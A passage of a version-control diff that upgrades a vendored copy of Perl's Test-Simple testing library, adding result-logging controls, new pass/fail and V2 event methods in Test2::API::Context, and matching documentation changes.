+    $meta->{subtest_uuid} = $hub->uuid;
     $meta->{subtest_buffered} = $parent->format ? 0 : 1;
 
     $self->_add_ts_hooks;
 
     $ctx->release;
-    return bless { Original_Pid => $$, Stack => $self->{Stack}, Hub => $hub }, blessed($self);
+    return bless { Original_Pid => $$, Stack => $self->{Stack}, Hub => $hub, no_log_results => $self->{no_log_results} }, blessed($self);
 }
 
 sub finalize {
@@ -229,7 +254,7 @@
     my $trace = $ctx->trace;
     delete $ctx->hub->meta(__PACKAGE__, {})->{child};
 
-    $chub->finalize($trace, 1)
+    $chub->finalize($trace->snapshot(hid => $chub->hid, nested => $chub->nested), 1)
         if $ok
         && $chub->count
         && !$chub->no_ending
@@ -277,6 +302,7 @@
         else {
             $parent->{subevents}  = $meta->{subevents};
             $parent->{subtest_id} = $meta->{subtest_id};
+            $parent->{subtest_uuid} = $meta->{subtest_uuid};
             $parent->{subtest_buffered} = $meta->{subtest_buffered};
             $parent->ok( $chub->is_passing, $meta->{Name} );
         }
@@ -295,6 +321,10 @@
 
     $name ||= "Child of " . $self->name;
 
+
+    $_->($name,$code, at args)
+        for Test2::API::test2_list_pre_subtest_callbacks();
+
     $ctx->note("Subtest: $name");
 
     my $child = $self->child($name);
@@ -319,7 +349,7 @@
         }
     }
 
-    if ($start_pid != $$ && !$INC{'Test/Sync/IPC.pm'}) {
+    if ($start_pid != $$ && !$INC{'Test2/IPC.pm'}) {
         warn $ok ? "Forked inside subtest, but subtest never finished!\n" : $err;
         exit 255;
     }
@@ -372,15 +402,21 @@
     # hash keys is just asking for pain.  Also, it was documented.
     $Level = 1;
 
-    $self->{Original_Pid} = $$;
+    $self->{no_log_results} = $ENV{TEST_NO_LOG_RESULTS} ? 1 : 0
+        unless $params{singleton};
 
+    $self->{Original_Pid} = Test2::API::test2_in_preload() ? -1 : $$;
+
     my $ctx = $self->ctx;
+    my $hub = $ctx->hub;
+    $ctx->release;
     unless ($params{singleton}) {
-        $ctx->hub->reset_state();
-        $ctx->hub->set_pid($$);
-        $ctx->hub->set_tid(get_tid);
+        $hub->reset_state();
+        $hub->_tb_reset();
     }
 
+    $ctx = $self->ctx;
+
     my $meta = $ctx->hub->meta(__PACKAGE__, {});
     %$meta = (
         Name         => $0,
@@ -388,9 +424,10 @@
         Done_Testing => undef,
         Skip_All     => 0,
         Test_Results => [],
+        parent       => $meta->{parent},
     );
 
-    $self->{Exported_To} = undef;
+    $self->{Exported_To} = undef unless $params{singleton};
 
     $self->{Orig_Handles} ||= do {
         my $format = $ctx->hub->format;
@@ -402,8 +439,8 @@
     };
 
     $self->use_numbers(1);
-    $self->no_header(0);
-    $self->no_ending(0);
+    $self->no_header(0) unless $params{singleton};
+    $self->no_ending(0) unless $params{singleton};
     $self->reset_outputs;
 
     $ctx->release;
@@ -629,7 +666,7 @@
         (name => defined($name) ? $name : ''),
     };
 
-    $hub->{_meta}->{+__PACKAGE__}->{Test_Results}[ $hub->{count} ] = $result;
+    $hub->{_meta}->{+__PACKAGE__}->{Test_Results}[ $hub->{count} ] = $result unless $self->{no_log_results};
 
     my $orig_name = $name;
 
@@ -636,15 +673,16 @@
     my @attrs;
     my $subevents  = delete $self->{subevents};
     my $subtest_id = delete $self->{subtest_id};
+    my $subtest_uuid = delete $self->{subtest_uuid};
     my $subtest_buffered = delete $self->{subtest_buffered};
     my $epkg = 'Test2::Event::Ok';
     if ($subevents) {
         $epkg = 'Test2::Event::Subtest';
-        push @attrs => (subevents => $subevents, subtest_id => $subtest_id, buffered => $subtest_buffered);
+        push @attrs => (subevents => $subevents, subtest_id => $subtest_id, subtest_uuid => $subtest_uuid, buffered => $subtest_buffered);
     }
 
     my $e = bless {
-        trace => bless( {%$trace}, 'Test2::Util::Trace'),
+        trace => bless( {%$trace}, 'Test2::EventFacet::Trace'),
         pass  => $test,
         name  => $name,
         _meta => {'Test::Builder' => $result},
@@ -667,13 +705,9 @@
 
     my $msg = $is_todo ? "Failed (TODO)" : "Failed";
 
-    my $dfh = $self->_diag_fh;
-    print $dfh "\n" if $ENV{HARNESS_ACTIVE} && $dfh;
-
     my (undef, $file, $line) = $trace->call;
     if (defined $orig_name) {
-        $self->diag(qq[  $msg test '$orig_name'\n]);
-        $self->diag(qq[  at $file line $line.\n]);
+        $self->diag(qq[  $msg test '$orig_name'\n  at $file line $line.\n]);
     }
     else {
         $self->diag(qq[  $msg test at $file line $line.\n]);
@@ -1004,7 +1038,7 @@
         name      => $name,
         type      => 'skip',
         reason    => $why,
-    };
+    } unless $self->{no_log_results};
 
     $name =~ s|#|\\#|g;    # # in a name can confuse Test::Harness.
     $name =~ s{\n}{\n# }sg;
@@ -1029,7 +1063,7 @@
         name      => '',
         type      => 'todo_skip',
         reason    => $why,
-    };
+    } unless $self->{no_log_results};
 
     $why =~ s{\n}{\n# }sg;
     my $tctx = $ctx->snapshot;
@@ -1196,8 +1230,17 @@
     my $self = shift;
     return unless @_;
 
+    my $text = join '' => map {defined($_) ? $_ : 'undef'} @_;
+
+    if (Test2::API::test2_in_preload()) {
+        chomp($text);
+        $text =~ s/^/# /msg;
+        print STDERR $text, "\n";
+        return 0;
+    }
+
     my $ctx = $self->ctx;
-    $ctx->diag(join '' => map {defined($_) ? $_ : 'undef'} @_);
+    $ctx->diag($text);
     $ctx->release;
     return 0;
 }
@@ -1207,8 +1250,17 @@
     my $self = shift;
     return unless @_;
 
+    my $text = join '' => map {defined($_) ? $_ : 'undef'} @_;
+
+    if (Test2::API::test2_in_preload()) {
+        chomp($text);
+        $text =~ s/^/# /msg;
+        print STDOUT $text, "\n";
+        return 0;
+    }
+
     my $ctx = $self->ctx;
-    $ctx->note(join '' => map {defined($_) ? $_ : 'undef'} @_);
+    $ctx->note($text);
     $ctx->release;
     return 0;
 }
@@ -1351,24 +1403,26 @@
     if( defined $num ) {
         $hub->set_count($num);
 
-        # If the test counter is being pushed forward fill in the details.
-        my $test_results = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
-        if( $num > @$test_results ) {
-            my $start = @$test_results ? @$test_results : 0;
-            for( $start .. $num - 1 ) {
-                $test_results->[$_] = {
-                    'ok'      => 1,
-                    actual_ok => undef,
-                    reason    => 'incrementing test number',
-                    type      => 'unknown',
-                    name      => undef
-                };
+        unless ($self->{no_log_results}) {
+            # If the test counter is being pushed forward fill in the details.
+            my $test_results = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
+            if ($num > @$test_results) {
+                my $start = @$test_results ? @$test_results : 0;
+                for ($start .. $num - 1) {
+                    $test_results->[$_] = {
+                        'ok'      => 1,
+                        actual_ok => undef,
+                        reason    => 'incrementing test number',
+                        type      => 'unknown',
+                        name      => undef
+                    };
+                }
             }
+            # If backward, wipe history.  Its their funeral.
+            elsif ($num < @$test_results) {
+                $#{$test_results} = $num - 1;
+            }
         }
-        # If backward, wipe history.  Its their funeral.
-        elsif( $num < @$test_results ) {
-            $#{$test_results} = $num - 1;
-        }
     }
     return release $ctx, $hub->count;
 }
@@ -1393,15 +1447,20 @@
 sub summary {
     my($self) = shift;
 
+    return if $self->{no_log_results};
+
     my $ctx = $self->ctx;
     my $data = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
     $ctx->release;
-    return map { $_->{'ok'} } @$data;
+    return map { $_ ? $_->{'ok'} : () } @$data;
 }
 
 
 sub details {
     my $self = shift;
+
+    return if $self->{no_log_results};
+
     my $ctx = $self->ctx;
     my $data = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
     $ctx->release;
@@ -1702,6 +1761,7 @@
     }
     Test2::IPC->import;
     Test2::API::test2_ipc_enable_polling();
+    Test2::API::test2_load();
     my $ipc = Test2::IPC::apply_ipc($self->{Stack});
     $ipc->set_no_fatal(1);
     Test2::API::test2_no_wait(1);
@@ -1708,6 +1768,8 @@
     Test2::API::test2_ipc_enable_shm();
 }
 
+sub no_log_results { $_[0]->{no_log_results} = 1 }
+
 1;
 
 __END__
@@ -2082,7 +2144,7 @@
 
 Defaults to 1.
 
-Setting L<$Test::Builder::Level> overrides.  This is typically useful
+Setting C<$Test::Builder::Level> overrides.  This is typically useful
 localized:
 
     sub my_ok {
@@ -2251,6 +2313,16 @@
 
 =over 4
 
+=item B<no_log_results>
+
+This will turn off result long-term storage. Calling this method will make
+C<details> and C<summary> useless. You may want to use this if you are running
+enough tests to fill up all available memory.
+
+    Test::Builder->new->no_log_results();
+
+There is no way to turn it back on.
+
 =item B<current_test>
 
     my $curr_test = $Test->current_test;
@@ -2472,6 +2544,18 @@
 Test::Builder is only thread-aware if threads.pm is loaded I<before>
 Test::Builder.
 
+You can directly disable thread support with one of the following:
+
+    $ENV{T2_NO_IPC} = 1
+
+or
+
+    no Test2::IPC;
+
+or
+
+    Test2::API::test2_ipc_disable()
+
 =head1 MEMORY
 
 An informative hash, accessible via C<details()>, is stored for each

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/More.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/More.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/More.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,7 +17,7 @@
     return warn @_, " at $file line $line\n";
 }
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 use Test::Builder::Module;
 our @ISA    = qw(Test::Builder::Module);

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Simple.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Simple.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Simple.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 
 use strict;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 use Test::Builder::Module;
 our @ISA    = qw(Test::Builder::Module);

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Capture.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Capture.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Capture.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 package Test::Tester::Capture;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Test::Builder;

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 package Test::Tester::CaptureRunner;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Test::Tester::Capture;

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Delegate.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Delegate.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 package Test::Tester::Delegate;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 use Scalar::Util();
 

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 {
 	if (*Test::Builder::new{CODE})
 	{
-		warn "You should load Test::Tester before Test::Builder (or anything that loads Test::Builder)" 
+		warn "You should load Test::Tester before Test::Builder (or anything that loads Test::Builder)"
 	}
 }
 
@@ -18,7 +18,7 @@
 
 use vars qw( @ISA @EXPORT );
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 @EXPORT = qw( run_tests check_tests check_test cmp_results show_space );
 @ISA = qw( Exporter );
@@ -173,40 +173,54 @@
 
 	if (defined(my $exp = $expect->{diag}))
 	{
-		# if there actually is some diag then put a \n on the end if it's not
-		# there already
 
-		$exp .= "\n" if (length($exp) and $exp !~ /\n$/);
-		if (not $Test->ok($result->{diag} eq $exp,
-			"subtest '$sub_name' of '$name' compare diag")
-		)
-		{
-			my $got = $result->{diag};
-			my $glen = length($got);
-			my $elen = length($exp);
-			for ($got, $exp)
-			{
-				my @lines = split("\n", $_);
-	 			$_ = join("\n", map {
-					if ($want_space)
-					{
-						$_ = $colour.escape($_).$reset;
-					}
-					else
-					{
-						"'$colour$_$reset'"
-					}
-				} @lines);
-			}
+        my $got = '';
+        if (ref $exp eq 'Regexp') {
 
-			$Test->diag(<<EOM);
+            if (not $Test->like($result->{diag}, $exp,
+                "subtest '$sub_name' of '$name' compare diag"))
+            {
+                $got = $result->{diag};
+            }
+
+        } else {
+
+            # if there actually is some diag then put a \n on the end if it's not
+            # there already
+            $exp .= "\n" if (length($exp) and $exp !~ /\n$/);
+
+            if (not $Test->ok($result->{diag} eq $exp,
+    			"subtest '$sub_name' of '$name' compare diag"))
+            {
+                $got = $result->{diag};
+            }
+        }
+
+        if ($got) {
+    		my $glen = length($got);
+    		my $elen = length($exp);
+    		for ($got, $exp)
+    		{
+    			my @lines = split("\n", $_);
+     			$_ = join("\n", map {
+    				if ($want_space)
+    				{
+    					$_ = $colour.escape($_).$reset;
+    				}
+    				else
+    				{
+    					"'$colour$_$reset'"
+    				}
+    			} @lines);
+    		}
+
+        	$Test->diag(<<EOM);
 Got diag ($glen bytes):
 $got
 Expected diag ($elen bytes):
 $exp
 EOM
-
-		}
+        }
 	}
 }
 
@@ -315,6 +329,23 @@
 
 or
 
+  use Test::Tester tests => 6;
+
+  use Test::MyStyle;
+
+  check_test(
+    sub {
+      is_mystyle_qr("this", "that", "not matching");
+    },
+    {
+      ok => 0, # expect this to fail
+      name => "not matching",
+      diag => qr/Expected: 'this'\s+Got: 'that'/,
+    }
+  );
+
+or
+
   use Test::Tester;
 
   use Test::More tests => 3;
@@ -378,7 +409,17 @@
 
   like($result[0]->{diag}, "/^Database ping took \\d+ seconds$"/, "diag");
 
+or
 
+  check_test(
+    sub { is_mystyle_qr("this", "that", "not matching") },
+    {
+      ok => 0, # we expect the test to fail
+      name => "not matching",
+      diag => qr/Expected: 'this'\s+Got: 'that'/,
+    }
+  );
+
 We cannot predict how long the database ping will take so we use
 Test::More's like() test to check that the diagnostic string is of the right
 form.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Tutorial.pod
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Tutorial.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Tutorial.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -297,7 +297,7 @@
 C<%ICal_Dates>.  Now that it's less work to test with more dates, you'll
 be inclined to just throw more in as you think of them.
 Only problem is, every time we add to that we have to keep adjusting
-the L<< use Test::More tests => ## >> line.  That can rapidly get
+the C<< use Test::More tests => ## >> line.  That can rapidly get
 annoying.  There are ways to make this work better.
 
 First, we can calculate the plan dynamically using the C<plan()>
@@ -358,7 +358,7 @@
 
 =head2 Skipping tests
 
-Poking around in the existing Date::ICal tests, I found this in
+Poking around in the existing L<Date::ICal> tests, I found this in
 F<t/01sanity.t> [7]
 
     #!/usr/bin/perl -w

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/use/ok.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/use/ok.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/use/ok.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package Test::use::ok;
 use 5.005;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 __END__

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Breakage.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Breakage.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Breakage.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Test2::Util qw/pkg_to_file/;
@@ -31,7 +31,12 @@
         'Test::SharedFork'        => '0.34',
         'Test::Alien'             => '0.04',
         'Test::UseAllModules'     => '0.14',
+        'Test::More::Prefix'      => '0.005',
 
+        'Test2::Tools::EventDumper' => 0.000007,
+        'Test2::Harness'            => 0.000013,
+
+        'Test::DBIx::Class::Schema'    => '1.0.9',
         'Test::Clustericious::Cluster' => '0.30',
     );
 }
@@ -43,12 +48,10 @@
         'Test::Aggregate'       => '0.373',
         'Test::Flatten'         => '0.11',
         'Test::Group'           => '0.20',
-        'Test::More::Prefix'    => '0.005',
         'Test::ParallelSubtest' => '0.05',
         'Test::Pretty'          => '0.32',
         'Test::Wrapper'         => '0.3.0',
 
-        'Test::DBIx::Class::Schema'      => '1.0.9',
         'Log::Dispatch::Config::TestLog' => '0.02',
     );
 }
@@ -165,7 +168,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Context.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Context.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Context.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,14 +2,14 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
-use Carp qw/confess croak longmess/;
+use Carp qw/confess croak/;
 use Scalar::Util qw/weaken blessed/;
 use Test2::Util qw/get_tid try pkg_to_file get_tid/;
 
-use Test2::Util::Trace();
+use Test2::EventFacet::Trace();
 use Test2::API();
 
 # Preload some key event types
@@ -19,7 +19,7 @@
         my $file = "Test2/Event/$_.pm";
         require $file unless $INC{$file};
         ( $pkg => $pkg, $_ => $pkg )
-    } qw/Ok Diag Note Info Plan Bail Exception Waiting Skip Subtest/
+    } qw/Ok Diag Note Plan Bail Exception Waiting Skip Subtest Pass Fail V2/
 );
 
 use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/;
@@ -155,9 +155,7 @@
     # We need to update the pid/tid and error vars.
     my $clone = $self->snapshot;
     @$clone{+ERRNO, +EVAL_ERROR, +CHILD_ERROR} = ($!, $@, $?);
-    $clone->{+TRACE} = $clone->{+TRACE}->snapshot;
-    $clone->{+TRACE}->set_pid($$);
-    $clone->{+TRACE}->set_tid(get_tid());
+    $clone->{+TRACE} = $clone->{+TRACE}->snapshot(pid => $$, tid => get_tid());
 
     my $hub = $clone->{+HUB};
     my $hid = $hub->hid;
@@ -202,6 +200,49 @@
     $self->trace->alert($msg);
 }
 
+sub send_ev2_and_release {
+    my $self = shift;
+    my $out  = $self->send_ev2(@_);
+    $self->release;
+    return $out;
+}
+
+sub send_ev2 {
+    my $self = shift;
+
+    my $e;
+    {
+        local $Carp::CarpLevel = $Carp::CarpLevel + 1;
+        $e = Test2::Event::V2->new(
+            trace => $self->{+TRACE}->snapshot,
+            @_,
+        );
+    }
+
+    if ($self->{+_ABORTED}) {
+        my $f = $e->facet_data;
+        ${$self->{+_ABORTED}}++ if $f->{control}->{halt} || defined($f->{control}->{terminate}) || defined($e->terminate);
+    }
+    $self->{+HUB}->send($e);
+}
+
+sub build_ev2 {
+    my $self = shift;
+
+    local $Carp::CarpLevel = $Carp::CarpLevel + 1;
+    Test2::Event::V2->new(
+        trace => $self->{+TRACE}->snapshot,
+        @_,
+    );
+}
+
+sub send_event_and_release {
+    my $self = shift;
+    my $out = $self->send_event(@_);
+    $self->release;
+    return $out;
+}
+
 sub send_event {
     my $self  = shift;
     my $event = shift;
@@ -209,12 +250,19 @@
 
     my $pkg = $LOADED{$event} || $self->_parse_event($event);
 
-    my $e = $pkg->new(
-        trace => $self->{+TRACE}->snapshot,
-        %args,
-    );
+    my $e;
+    {
+        local $Carp::CarpLevel = $Carp::CarpLevel + 1;
+        $e = $pkg->new(
+            trace => $self->{+TRACE}->snapshot,
+            %args,
+        );
+    }
 
-    ${$self->{+_ABORTED}}++ if $self->{+_ABORTED} && defined $e->terminate;
+    if ($self->{+_ABORTED}) {
+        my $f = $e->facet_data;
+        ${$self->{+_ABORTED}}++ if $f->{control}->{halt} || defined($f->{control}->{terminate}) || defined($e->terminate);
+    }
     $self->{+HUB}->send($e);
 }
 
@@ -225,6 +273,7 @@
 
     my $pkg = $LOADED{$event} || $self->_parse_event($event);
 
+    local $Carp::CarpLevel = $Carp::CarpLevel + 1;
     $pkg->new(
         trace => $self->{+TRACE}->snapshot,
         %args,
@@ -231,6 +280,74 @@
     );
 }
 
+sub pass {
+    my $self = shift;
+    my ($name) = @_;
+
+    my $e = bless(
+        {
+            trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+            name  => $name,
+        },
+        "Test2::Event::Pass"
+    );
+
+    $self->{+HUB}->send($e);
+    return $e;
+}
+
+sub pass_and_release {
+    my $self = shift;
+    my ($name) = @_;
+
+    my $e = bless(
+        {
+            trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+            name  => $name,
+        },
+        "Test2::Event::Pass"
+    );
+
+    $self->{+HUB}->send($e);
+    $self->release;
+    return 1;
+}
+
+sub fail {
+    my $self = shift;
+    my ($name, @diag) = @_;
+
+    my $e = bless(
+        {
+            trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+            name  => $name,
+        },
+        "Test2::Event::Fail"
+    );
+
+    $e->add_info({tag => 'DIAG', debug => 1, details => $_}) for @diag;
+    $self->{+HUB}->send($e);
+    return $e;
+}
+
+sub fail_and_release {
+    my $self = shift;
+    my ($name, @diag) = @_;
+
+    my $e = bless(
+        {
+            trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+            name  => $name,
+        },
+        "Test2::Event::Fail"
+    );
+
+    $e->add_info({tag => 'DIAG', debug => 1, details => $_}) for @diag;
+    $self->{+HUB}->send($e);
+    $self->release;
+    return 0;
+}
+
 sub ok {
     my $self = shift;
     my ($pass, $name, $on_fail) = @_;
@@ -238,7 +355,7 @@
     my $hub = $self->{+HUB};
 
     my $e = bless {
-        trace => bless( {%{$self->{+TRACE}}}, 'Test2::Util::Trace'),
+        trace => bless( {%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
         pass  => $pass,
         name  => $name,
     }, 'Test2::Event::Ok';
@@ -250,14 +367,7 @@
     $self->failure_diag($e);
 
     if ($on_fail && @$on_fail) {
-        for my $of (@$on_fail) {
-            if (ref($of) eq 'CODE' || (blessed($of) && $of->can('render'))) {
-                $self->info($of, diagnostics => 1);
-            }
-            else {
-                $self->diag($of);
-            }
-        }
+        $self->diag($_) for @$on_fail;
     }
 
     return $e;
@@ -267,13 +377,6 @@
     my $self = shift;
     my ($e) = @_;
 
-    # This behavior is inherited from Test::Builder which injected a newline at
-    # the start of the first diagnostics when the harness is active, but not
-    # verbose. This is important to keep the diagnostics from showing up
-    # appended to the existing line, which is hard to read. In a verbose
-    # harness there is no need for this.
-    my $prefix = $ENV{HARNESS_ACTIVE} && !$ENV{HARNESS_IS_VERBOSE} ? "\n" : "";
-
     # Figure out the debug info, this is typically the file name and line
     # number, but can also be a custom message. If no trace object is provided
     # then we have nothing useful to display.
@@ -284,8 +387,8 @@
     # Create the initial diagnostics. If the test has a name we put the debug
     # info on a second line, this behavior is inherited from Test::Builder.
     my $msg = defined($name)
-        ? qq[${prefix}Failed test '$name'\n$debug.\n]
-        : qq[${prefix}Failed test $debug.\n];
+        ? qq[Failed test '$name'\n$debug.\n]
+        : qq[Failed test $debug.\n];
 
     $self->diag($msg);
 }
@@ -302,12 +405,6 @@
     );
 }
 
-sub info {
-    my $self = shift;
-    my ($renderer, %params) = @_;
-    $self->send_event('Info', renderer => $renderer, %params);
-}
-
 sub note {
     my $self = shift;
     my ($message) = @_;
@@ -509,7 +606,7 @@
 
 =item $dbg = $ctx->trace()
 
-This will return the L<Test2::Util::Trace> instance used by the context.
+This will return the L<Test2::EventFacet::Trace> instance used by the context.
 
 =item $ctx->do_in_context(\&code, @args);
 
@@ -553,12 +650,110 @@
 
 =head2 EVENT PRODUCTION METHODS
 
+B<Which one do I use?>
+
+The C<pass*> and C<fail*> are optimal if they meet your situation, using one of
+them will always be the most optimal. That said they are optimal by eliminating
+many features.
+
+Method such as C<ok>, and C<note> are shortcuts for generating common 1-task
+events based on the old API, however they are forward compatible, and easy to
+use. If these meet your needs then go ahead and use them, but please check back
+often for alternatives that may be added.
+
+If you want to generate new style events, events that do many things at once,
+then you want the C<*ev2*> methods. These let you directly specify which facets
+you wish to use.
+
 =over 4
 
+=item $event = $ctx->pass()
+
+=item $event = $ctx->pass($name)
+
+This will send and return an L<Test2::Event::Pass> event. You may optionally
+provide a C<$name> for the assertion.
+
+The L<Test2::Event::Pass> is a specially crafted and optimized event, using
+this will help the performance of passing tests.
+
+=item $true = $ctx->pass_and_release()
+
+=item $true = $ctx->pass_and_release($name)
+
+This is a combination of C<pass()> and C<release()>. You can use this if you do
+not plan to do anything with the context after sending the event. This helps
+write more clear and compact code.
+
+    sub shorthand {
+        my ($bool, $name) = @_;
+        my $ctx = context();
+        return $ctx->pass_and_release($name) if $bool;
+
+        ... Handle a failure ...
+    }
+
+    sub longform {
+        my ($bool, $name) = @_;
+        my $ctx = context();
+
+        if ($bool) {
+            $ctx->pass($name);
+            $ctx->release;
+            return 1;
+        }
+
+        ... Handle a failure ...
+    }
+
+=item my $event = $ctx->fail()
+
+=item my $event = $ctx->fail($name)
+
+=item my $event = $ctx->fail($name, @diagnostics)
+
+This lets you send an L<Test2::Event::Fail> event. You may optionally provide a
+C<$name> and C<@diagnostics> messages.
+
+=item my $false = $ctx->fail_and_release()
+
+=item my $false = $ctx->fail_and_release($name)
+
+=item my $false = $ctx->fail_and_release($name, @diagnostics)
+
+This is a combination of C<fail()> and C<release()>. This can be used to write
+clearer and shorter code.
+
+    sub shorthand {
+        my ($bool, $name) = @_;
+        my $ctx = context();
+        return $ctx->fail_and_release($name) unless $bool;
+
+        ... Handle a success ...
+    }
+
+    sub longform {
+        my ($bool, $name) = @_;
+        my $ctx = context();
+
+        unless ($bool) {
+            $ctx->pass($name);
+            $ctx->release;
+            return 1;
+        }
+
+        ... Handle a success ...
+    }
+
+
 =item $event = $ctx->ok($bool, $name)
 
 =item $event = $ctx->ok($bool, $name, \@on_fail)
 
+B<NOTE:> Use of this method is discouraged in favor of C<pass()> and C<fail()>
+which produce L<Test2::Event::Pass> and L<Test2::Event::Fail> events. These
+newer event types are faster and less crufty.
+
 This will create an L<Test2::Event::Ok> object for you. If C<$bool> is false
 then an L<Test2::Event::Diag> event will be sent as well with details about the
 failure. If you do not want automatic diagnostics you should use the
@@ -565,14 +760,8 @@
 C<send_event()> method directly.
 
 The third argument C<\@on_fail>) is an optional set of diagnostics to be sent in
-the event of a test failure. Plain strings will be sent as
-L<Test2::Event::Diag> events. References will be used to construct
-L<Test2::Event::Info> events with C<< diagnostics => 1 >>.
+the event of a test failure.
 
-=item $event = $ctx->info($renderer, diagnostics => $bool, %other_params)
-
-Send an L<Test2::Event::Info>.
-
 =item $event = $ctx->note($message)
 
 Send an L<Test2::Event::Note>. This event prints a message to STDOUT.
@@ -599,8 +788,45 @@
 This sends an L<Test2::Event::Bail> event. This event will completely
 terminate all testing.
 
+=item $event = $ctx->send_ev2(%facets)
+
+This lets you build and send a V2 event directly from facets. The event is
+returned after it is sent.
+
+This example sends a single assertion, a note (comment for stdout in
+Test::Builder talk) and sets the plan to 1.
+
+    my $event = $ctx->send_event(
+        plan   => {count => 1},
+        assert => {pass  => 1, details => "A passing assert"},
+        info => [{tag => 'NOTE', details => "This is a note"}],
+    );
+
+=item $event = $ctx->build_e2(%facets)
+
+This is the same as C<send_ev2()>, except it builds and returns the event
+without sending it.
+
+=item $event = $ctx->send_ev2_and_release($Type, %parameters)
+
+This is a combination of C<send_ev2()> and C<release()>.
+
+    sub shorthand {
+        my $ctx = context();
+        return $ctx->send_ev2_and_release(assert => {pass => 1, details => 'foo'});
+    }
+
+    sub longform {
+        my $ctx = context();
+        my $event = $ctx->send_ev2(assert => {pass => 1, details => 'foo'});
+        $ctx->release;
+        return $event;
+    }
+
 =item $event = $ctx->send_event($Type, %parameters)
 
+B<It is better to use send_ev2() in new code.>
+
 This lets you build and send an event of any type. The C<$Type> argument should
 be the event package name with C<Test2::Event::> left off, or a fully
 qualified package name prefixed with a '+'. The event is returned after it is
@@ -614,9 +840,29 @@
 
 =item $event = $ctx->build_event($Type, %parameters)
 
+B<It is better to use build_ev2() in new code.>
+
 This is the same as C<send_event()>, except it builds and returns the event
 without sending it.
 
+=item $event = $ctx->send_event_and_release($Type, %parameters)
+
+B<It is better to use send_ev2_and_release() in new code.>
+
+This is a combination of C<send_event()> and C<release()>.
+
+    sub shorthand {
+        my $ctx = context();
